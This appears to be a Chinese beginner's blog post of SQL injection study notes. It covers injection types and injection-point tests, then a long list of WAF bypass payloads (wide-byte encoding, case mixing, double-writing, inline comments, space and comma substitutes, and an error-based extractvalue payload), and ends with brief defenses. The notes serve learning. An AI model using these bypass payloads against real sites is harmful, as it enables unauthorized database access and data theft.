常见漏洞(一)SQL注入

一个萌新对web常见漏洞认识的记录,若有不对的地方,望各路大佬指正。
这些都是从各个博客上摘抄的,为了加深记忆吧

  1. SQL注入
    原理:SQL注入是通过给web应用接口传入一些特殊字符,欺骗服务器来实现恶意查询语句的执行

    1.1注入方式

    	获取数据分类:回显注入、盲注、报错注入
    	常见注入位置:post注入、get注入、cookie注入、搜索注入
    	其他:base64注入、延时注入
    

    1.2 注入点的测试

    1.输入参数为数字型:?id=1 and 1=1  ||  id=1 and 1=1
    2.输入参数为字符型: ? id=1' and '1'='1    ||   id=1' and '1'='2
    

    SQL注入也不是and 1=1 那么简单,通常会有一些规则或者waf之类的,对我们的输入进行过滤,减少SQL注入,下面是我在网上收集的一些绕过方法

    1.3常见SQL注入绕过方法

    	1.2.1宽字节注入
    	
    		由于GB2312、GBK、GB18030、BIG5等编码占用两个字节,而输入的ascii编码为一个字节,所以当输入‘时会被转义为\',就是多了个斜杠
    		绕过:构造%df\‘--》%df%5c%27-->運%27,%df%5c==運
    
    	1.2.2二次编码
    		在url中可能出现的一些字符:=、&、+、;会被转义为%3D、%26、%2B、%3B,在注入时候可以输入编码,在mysql中会转义为符号
    	1.2.3 WAF常见绕过
    		 a.大小写绕过
    		   例:UniOn SeleCt
    		 b.双写绕过
    		 	例:ununionion seselectlect
    		 c.内联注释绕过
    		 	and /*!select*/ 1,2(只使用于MYSQL数据库)
    		 d.编码绕过
    		 	将关键字转成16进制、URL编码、特殊符号转义为uincode等
    		 e.<>绕过
    			如果网站过滤了<>,可以unio<>n sel<>ect
    		 f.注释符绕过
    				unio/**/n sel/**/ect
    		 g.对空格的绕过(可以用一下方法代替空格)
    					/**/
    					()
    					回车(url编码中的%0a)
    					`(tap键上面的按钮)
    					tap
    					两个空格
    		  h.对or/and的绕过
    				and = &&
    				or = ||
    				xor = | # 异或
    				not = !
    		  i.对等号=的绕过
    				不使用通配符的liek等于=
    				rlike在查找部分时候可以
    		  j.对单引号的绕过
    		  	宽字节绕过
    		  	将查询语句转换为16进制
    		  k.对逗号的绕过
    		 	使用join关键字绕过:
    		 		union select * from (select 1)a join (select 2)b join(select 3)c
    		 		等价于
    		 		union select 1,2,3
    		 	使用like关键字:
    		 		(编写时还没有理解like的具体功能和绕过原理,这里留着下次补充)
    		  l.过滤函数绕过
    		 		sleep(1)===benchmark(1000000000,1)
    		 		group_concat("str1",str2)===concat_ws(",","str1","str2")
    		 		substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
    		 		user() --> @@user、datadir–>@@datadir
    		 		ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致
    		 		seltct==/*!%53eLEct*/==sel<>ect==se%0blect==REVERSE(tceles);或者尝试报错注入:1' and extractvalue(1,concat('~',database()))等等这里不过多列举了 有些也是运用的前面上网方法进行变形
    

2.SQL注入的防御措施

 		1.对SQL语句进行预编译,绑定变量,使得输入的SQL语句不会拼接到原语句上,即使输入了也不会执行
 		2.在不得使用预编译的情况下,应该严格检查参数数据类型。使用安全函数,通过正则进行危险函数的过滤
 		3.将输入的一些特殊字符进行编码,使SQL无法语义分析
防御措施具体后续学习过程中会再补充。
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值